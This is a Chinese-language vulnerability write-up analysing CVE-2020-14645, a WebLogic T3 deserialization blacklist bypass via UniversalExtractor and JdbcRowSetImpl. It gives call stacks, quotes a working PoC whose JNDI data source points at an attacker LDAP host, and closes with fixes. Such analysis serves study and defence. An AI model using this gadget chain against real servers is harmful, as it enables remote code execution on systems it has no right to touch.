环境搭建
参考前面的环境
T3
CVE-2020-14645
原理
这个利用方式也就是针对CVE-2020-2883的黑名单绕过,在2883那个CVE存在有两条链子,但是本质上都是通过ReflectionExtractor来调用的任意的方法,最后进行命令执行的,之后再补丁中将该类加入了黑名单中,而这里的CVE也就是在这个基础上找到了在com.tangosol.util.extractor.UniversalExtractor类中也能够进行类似的逻辑,进行黑名单的绕过
分析
因为这里就只是之前的一个CVE的一种黑名单绕过,这里对于前面就不过多的提及了,可以看看前面的分析
传送门
首先看看如果调用extract方法的,在前面的分析中,我们能够知道在ExtractorComparator这条链中
主要是通过ExtractorComparator#compare方法的调用中能够触发任意类的extract方法,所以在那条链子中就是使用的调用ChainedExtractor#extract,之后通过ReflectionExtractor来进行了命令执行
而如何调用其compare方法的呢?
主要是通过CC链的方式,通过调用PriorityQueue#readObject进而调用到了其的compare方法
贴个调用栈就行了
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
之后从漏洞的入口开始分析UniversalExtractor#extract方法中
在这里,传入的oTarget参数是我们构造的JdbcRowSetImpl类对象,为什么要设置为这个对象,我们后面会进行分析
这里,因为m_cacheTarget是一个被transient修饰的属性,所以,这里肯定是会进入else语句调用extractComplex方法
在extractComplex方法的后面存在有一个能够任意调用任意类的任意方法的操作
我们倒过来看存在有什么样的限制,这里的oTarget没有任何的争议,我们是完全可控的一个类对象
重点来看看method变量的限制
解释一下子这个方法的逻辑
首先获取了oTarget这个对象的类,之后调用了getCanonicalName方法获取方法名
这里的Lambdas.getValueExtractorCanonicalName(this)因为传入的参数是this,所以会一直为null,进入if语句中去
调用CanonicalNames.computeValueExtractorCanonicalName方法来获取,传入的参数是m_sName / m_aoParam这两个属性值
分析一下具体的逻辑,首先第一个if语句就要求了必须要是一个无参的方式,之后再第一个else if语句中,如果传入的sName值不以()结尾,就直接将这个变量值进行返回
如果存在有(),进入else语句中去
其中限制了方法的前缀
必须以get / is开头的方法才能满足
之后的逻辑就是将方法中的前缀get / is和后缀()给去掉,并且将首字母给小写了进行返回
而这里也不是直接对method进行了控制,真正的控制还是需要回到extractComplex方法中
在这里fProperty如果为true,就会按照之前去除的规则,将其还原为方法名,并且调用ClassHelper.findMethod来获取对应的方法
之后就是创建了一个TargetReflectionDescriptor对象将其赋值给m_cacheTarget属性,传入的参数是clzTarget和我们前面构造的method
看到寻找getXXX开头的函数,并且具有对应的属性,我们很容易就联想到FastJson的一系列反序列化就是getXX / setXX等方法的寻找
很多,这里用的是经典的JdbcRowSetImpl链
跟进看看
在JdbcRowSetImpl#getDatabaseMetaData方法的调用中
调用了connect方法进行连接
在这个方法中,存在这样一串代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
这里调用getDataSourceName方法就会返回对应的属性值,之后进行lookup查询,造成了JNDI注入漏洞
贴个调用栈:
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
POC的关键代码
这里就借用Y4er师傅的简洁点的POC
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.153.1:1389/ogzhze");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
修复
- 安装补丁
- 加入黑名单
- 限制T3 / IIOP协议
Ref
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java
还没有评论,来说两句吧...